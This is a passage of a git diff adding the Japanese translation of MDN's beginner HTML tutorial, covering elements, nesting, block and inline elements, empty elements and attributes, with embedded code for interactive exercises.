b/files/ja/learn/html/introduction_to_html/getting_started/index.html @@ -0,0 +1,786 @@ +--- +title: HTML を始めよう +slug: Learn/HTML/Introduction_to_HTML/Getting_started +tags: + - Attribute + - Beginner + - CodingScripting + - Comment + - Element + - Guide + - HTML + - entity reference + - whitespace +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">この記事では HTML の不変的な基礎を扱って、始められるようにします。要素や属性などの重要な用語 (すでに聞き覚えはあるかもしれません)、それらが言語にどう組み込まれているか説明します。また、HTML 要素の構造、典型的な HTML ページの構造を見せて、その他の重要な基礎言語機能について説明します。それでは、 HTML の例とともに見ていきましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基礎的なコンピュータリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイル取扱い</a>の基礎理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> + <p>HTML 言語の基礎習得と、いくつかの HTML 要素を書く練習</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="What_is_HTML" name="What_is_HTML">HTML とは？</h2> + +<p>{{glossary("HTML")}} (ハイパーテキスト・マークアップ・ランゲージ／Hypertext Markup Language) はプログラミング言語ではありません。HTML 言語は、訪れたウェブサイトの構成をブラウザに対して伝えるために使うマークアップ言語です。HTML 言語はウェブ開発者が望むこと次第で、複雑なものにも簡単なものにもなります。HTML は{{glossary("Element", "要素")}}の集まりからなり、コンテンツの一部を要素で囲む（<em>マークアップ</em>する）ことで、特定の見せ方・動かし方に変えられます。囲むための{{glossary("Tag", "タグ")}}は、コンテンツの一部をハイパーリンク (ウェブ上の別ページへリンクすること) にしたり、単語を斜体にしたりすることができます。たとえば、次の一行を見てください：</p> + +<pre>My cat is very grumpy</pre> + +<p>この行を独立させたい場合、それを段落タグ ({{htmlelement("p")}}) 要素で囲んで段落指定することで実現できます:</p> + +<pre class="brush: html"><p>My cat is very grumpy</p></pre> + +<div class="note"> +<p><strong>注</strong>:HTML の要素は大文字小文字を区別しません。つまり大文字でも小文字でも書くことができます。例えば {{htmlelement("title")}} 要素は <code><title></code>、<code><TITLE></code>、<code><Title></code>、<code><TiTlE></code> などと書くことができて、どれも正しく動作します。最も良いのは、一貫性や信頼性、その他の理由のためにすべての要素を小文字で書くことです。</p> +</div> + +<h2 id="Anatomy_of_a_HTML_element" name="Anatomy_of_a_HTML_element">HTML 要素の分解</h2> + +<p>先ほどの段落タグの要素についてもう少し詳しく見ていきましょう:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p> + +<p>この要素の主要な部分は次のとおりです:</p> + +<ol> + <li><strong>開始タグ(Opening tag):</strong> 要素名 (この場合は "p")、囲んでいる開き<strong>山括弧</strong>と閉じ<strong>山括弧</strong>で構成されています。これは要素が始まってその効果が開始する位置を宣言しますーこの場合、段落が始まる位置です。</li> + <li><strong>終了タグ(Closing tag):</strong> 要素名の前に一つのスラッシュが含まれることを除けば、開始タグと同じです。これは要素の終了を宣言しますーこの場合、段落が終わる位置です。終了タグを忘れるのは初心者にありがちなミスで、おかしな結果になってしまいます。</li> + <li><strong>内容(Content):</strong> これは要素の内容で、この場合、テキストそのものです。</li> + <li><strong>要素(Element):</strong> 開始タグ + 内容 + 終了タグが要素になります。</li> +</ol> + +<h3 id="Active_learning_creating_your_first_HTML_element" name="Active_learning_creating_your_first_HTML_element"><strong>実習: 最初の HTML 要素を作ってみる</strong></h3> + +<p>以下の Input 欄にある行を <code><em></code> と <code></em></code> で囲んでください (要素を開始するために行の先頭に <code><em></code> を、要素を終了するために行の末尾に <code></em></code> をそれぞれ置きます) — これによりその行はイタリック体 (斜体) によって強調表示されるはずです！ この変化は Output 欄でリアルタイムで確認できているはずです。</p> + +<p>もし入力ミスをしても、<em>Reset</em> ボタンを押すことでいつでもリセットできます。立ち往生してしまっても <em>Show solution</em> ボタンを押せばいつでもカンニングできます。</p> + +<div class="hidden"> +<h6 id="Playable_code" name="Playable_code">Playable code</h6> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Live output<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Editable code<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a11y-label<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Press Esc to move focus away from the code area (Tab inserts a tab character).<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-code<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">100</span>px<span class="punctuation token">;</span><span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">95%</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + This is my text. +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>textarea</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>controls<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>solution<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Show solution<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">html </span><span class="punctuation token">{</span> + <span class="property token">font-family</span><span class="punctuation token">:</span> <span class="string token">'Open Sans Light'</span>,Helvetica,Arial,sans-serif<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">h2 </span><span class="punctuation token">{</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">16</span>px<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token"><span class="class token">.a11y-label</span> </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">0.7</span>rem<span class="punctuation token">;</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">98%</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">body </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span> + <span class="property token">background</span><span class="punctuation token">:</span> <span class="hexcode token">#f5f9fa</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solution <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'solution'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.output'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="keyword token">var</span> userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + output<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +solution<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> solutionEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Hide solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> userEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> htmlSolution <span class="operator token">=</span> <span class="string token">'<em>This is my text.</em>'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + +textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> +window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// stop tab key tabbing out of textarea and</span> +<span class="comment token">// make it write a tab at the caret position instead</span> + +textarea<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + e<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="function token">insertAtCaret</span><span class="punctuation token">(</span><span class="string token">'\t'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">insertAtCaret</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> scrollPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>scrollTop<span class="punctuation token">;</span> + <span class="keyword token">var</span> caretPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>selectionStart<span class="punctuation token">;</span> + + <span class="keyword token">var</span> front <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> caretPos<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">var</span> back <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>selectionEnd<span class="punctuation token">,</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> front <span class="operator token">+</span> text <span class="operator token">+</span> back<span class="punctuation token">;</span> + caretPos <span class="operator token">=</span> caretPos <span class="operator token">+</span> text<span class="punctuation token">.</span>length<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionStart <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionEnd <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>scrollTop <span class="operator token">=</span> scrollPos<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="comment token">// Update the saved userCode every time the user updates the text area code</span> + +textarea<span class="punctuation token">.</span>onkeyup <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="comment token">// We only want to save the state when the user code is being shown,</span> + <span class="comment token">// not the solution, so that solution is not saved over the user code</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + solutionEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Nesting_elements" name="Nesting_elements">要素のネスト</h3> + +<p>要素の中に要素を入れることができますーこれは“<strong>ネスト</strong>” (入れ子) と呼ばれています。たとえば “My cat is <strong>very</strong> grumpy.” と記述したい場合、“very” という語を {{htmlelement("strong")}} 要素で囲むことができ、それはその語がより強く強調表示されることを意味します：</p> + +<pre class="brush: html"><p>My cat is <strong>very</strong> grumpy.</p></pre> + +<p>ただし、要素が正しくネストされていることを確認する必要はあります: 上の例では、開始タグは最初に <code>p</code> 要素、その次に <code>strong</code> 要素が来ますから、終了タグは最初に <code>strong</code> 要素を、一番最後に <code>p</code> 要素を置くことになります。次は間違った例です:</p> + +<pre class="example-bad brush: html"><p>My cat is <strong>very grumpy.</p></strong></pre> + +<p>タグのセットが互いに内側か外側なのかがはっきり分かるように、要素の開始と終了は正しく配置する必要があります。もし上の例のように互いに “掛け違って” しまっている場合、ブラウザーはそのマークアップが本来意図していただろうことを出来るだけ読み取ろうとはしますが、予期しない結果となることは当然に想定されます。ですからこうした “掛け違い” はやめましょう！</p> + +<h3 id="Block_versus_inline_elements" name="Block_versus_inline_elements">ブロック要素とインライン要素</h3> + +<p>HTML の要素には 2 つの重要なカテゴリーがあり、それは知っておくべきことです。すなわち、ブロックレベル要素とインライン要素です。</p> + +<ul> + <li>ブロックレベル要素はウェブページ上で視認できるブロックを形成します — それらはそれより前にあるいかなるコンテンツに対しても新たな行におけるコンテンツとして表示され、そのブロックの後に来るいかなるコンテンツもまた新たな行で表示されることになります。ブロックレベル要素はそのウェブページの構造、たとえば段落・リスト・ナビゲーションメニュー・フッターなどを表すことに使用される傾向があります。ブロックレベル要素はインライン要素の中にネストされることはできませんが、他のブロックレベル要素にネストされることがあります。</li> + <li>インライン要素はブロックレベル要素の中に包含され、なおかつ、段落全体やコンテンツのグループではなく、ドキュメントの内容の小さな部分だけを囲む要素です。インライン要素はドキュメント内に新たな行を表示させません; それらは通常、例えば、{{htmlelement("a")}} 要素 (ハイパーリンク) 又は {{htmlelement("em")}} や {{htmlelement("strong")}} といった強調要素のように、テキスト段落の中で表示されます。</li> +</ul> + +<p>次の例で考えてみましょう:</p> + +<pre class="brush: html"><em>first</em><em>second</em><em>third</em> + +<p>fourth</p><p>fifth</p><p>sixth</p> +</pre> + +<p>{{htmlelement("em")}} 要素はインライン要素なので、以下で確認できるように、最初の 3 つの要素は同じ行で他の要素と互いにスペースを空けずにたたずんでいます。一方で、{{htmlelement("p")}} 要素はブロックレベル要素なので、各要素はその上下にスペースを伴った新たな行で表示されます (この間隔はブラウザーが段落に対して適用するデフォルトの <a href="/docs/Learn/CSS/Introduction_to_CSS">CSS のスタイル</a>によるものです)。</p> + +<p>{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200, "", "") }}</p> + +<div class="note"> +<p><strong>注意</strong>: HTML5 においては要素カテゴリが再定義されています: <a href="http://www.whatwg.org/specs/web-apps/current-work/complete/section-index.html#element-content-categories">要素のコンテンツ・カテゴリー</a>を見てください。これらの定義は従来のものに比べてより正確で、なおかつ曖昧さが少ないものとなっていますが、一方では、それらは “ブロックレベル要素” と “インライン要素” の対比よりも遥かに理解することが難しくなっています。このため、私たちはここのトピックを通じて従来の分類を堅持するつもりです。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: このトピックで使っている “ブロック” と “インライン” の用語は <a href="https://developer.mozilla.org/ja/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">CSS ボックスのタイプ</a>と同じ名前で混同するでしょう。既定ではこれらは関係ありますが、CSS の表示タイプの変更は要素のカテゴリーを変更しませんし、どの要素が入っているべきでどの要素に入れられるべきかにも影響しません。HTML5 でこの用語が落とされた理由は、このとてもよくある混同を防ぐためです。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: ブロックレベル要素とインライン要素のリストを含む有用なリファレンスページがあります — <a href="/docs/Web/HTML/Block-level_elements">ブロックレベル要素</a>と<a href="/docs/Web/HTML/Inline_elements">インライン要素</a>をご覧ください。</p> +</div> + +<h3 id="Empty_elements" name="Empty_elements">空要素</h3> + +<p>全ての要素が上述の開始タグ・コンテンツ・終了タグのパターンに従っているわけではありません。いくつかの要素は 1 つのタグのみで構成され、それは通常、ドキュメント内でそれが含まれている場所に何かを挿入したり埋め込むために使用されます。例えば、以下の {{htmlelement("img")}} 要素はウェブページ上のそれが含まれた場所に 1 つの画像ファイルを埋め込みます:</p> + +<pre class="brush: html"><img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"></pre> + +<p>これはページに次の画像を出力するはずです:</p> + +<p>{{ EmbedLiveSample('Empty_elements', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注意</strong>: 空要素 (Empty elements) は Void 要素 (Void elements) と呼ばれていることがあります。</p> +</div> + +<h2 id="Attributes" name="Attributes">属性</h2> + +<p>要素は次のように属性(Attribute)を持つこともできます:</p> + +<p><img alt='&amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;lt;/p>' src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p> + +<p>属性は実際のコンテンツの中で表示させたくない「要素に関する追加情報」を保有します。上のケースでは <code>class</code> 属性は、その要素に後でスタイル情報などが適用される対象であることを示すものとして使用できるような、固有の名前を持つことを許容します。</p> + +<p>各属性は次の要件を満たす必要があります:</p> + +<ol> + <li>属性名と要素名の間に 1 つの半角スペース (その要素内にすでに 1 つ以上の属性が設定されている場合は、併せて各属性名の間)</li> + <li>属性名とそれに続く等号 (=)</li> + <li>属性値。始端から終端までをクォーテーションマーク (引用符) で囲む</li> +</ol> + +<h3 id="Active_learning_Adding_attributes_to_an_element" name="Active_learning_Adding_attributes_to_an_element">実習: 要素に属性を追加する</h3> + +<p>要素のもう一つの例として {{htmlelement("a")}} (これを「アンカー」と言って、テキストの一部を囲んでハイパーリンクにするものです) を考えます。アンカー要素は多くの属性を持つことができますが、例えばこれらのものが使われます:</p> + +<ul> + <li><code>href</code>: この属性にはリンクが参照するウェブ上のアドレスを指定します。またはリンクをクリックしたときにブラウザーが遷移する場所のことです。例えば、<code>href="https://www.mozilla.org/"</code> のように指定します。</li> + <li><code>title</code>: この属性にはリンクについての追加情報（リンク先のページが何であるかなど）を記載します。例えば、<code>title="The Mozilla homepage"</code> のように書きます。この内容はリンクにマウスカーソルを重ねた (マウスホバー) 時にツールチップとして表示されるでしょう。</li> + <li><code>target</code>: リンク先の内容を表示する場所 (ブラウジングコンテキスト) を指定します。例えば、<code>target="_blank"</code> と指定すると、リンク先の内容を新しいタブに表示します。現在のタブにリンク先の内容を表示させたい場合は <code>target</code>属性を省略します。</li> +</ul> + +<p>それでは以下の Input 欄を編集して、あなたの好きなサイトのリンクを張ってみましょう。まず、<code><a></code> 要素を追加します。次に、<code><a></code> 要素に <code>href</code> 属性と <code>title</code> 属性を追加します。最後に、新しいタブでリンク先を開くために <code>target</code> 属性を追加します。この変化は Output 欄でリアルタイムで確認できているはずです。まずテキストがハイパーリンクに変わります。そのリンクをホバーしてやる (マウスホバー) と <code>title</code> 属性のコンテンツが表示されます。そのリンクをクリックすると <code>href</code> 属性で指定したページに遷移します。要素名と各属性の間に半角スペースを挿入することに気を付けてください。</p> + +<p>もし入力ミスをしても、Reset ボタンを押すことでいつでもリセットできます。立ち往生してしまっても Show solution ボタンを押せばいつでもカンニングできます。</p> + +<div class="hidden"> +<h6 id="Playable_code2" name="Playable_code2">Playable code2</h6> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Live output<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Editable code<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a11y-label<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Press Esc to move focus away from the code area (Tab inserts a tab character).<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>input<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">100</span>px<span class="punctuation token">;</span><span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">95%</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="entity token" title="<">&lt;</span>p<span class="entity token" title=">">&gt;</span>A link to my favourite website.<span class="entity token" title="<">&lt;</span>/p<span class="entity token" title=">">&gt;</span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>textarea</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-buttons<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>solution<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Show solution<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">html </span><span class="punctuation token">{</span> + <span class="property token">font-family</span><span class="punctuation token">:</span> sans-serif<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">h2 </span><span class="punctuation token">{</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">16</span>px<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token"><span class="class token">.a11y-label</span> </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number 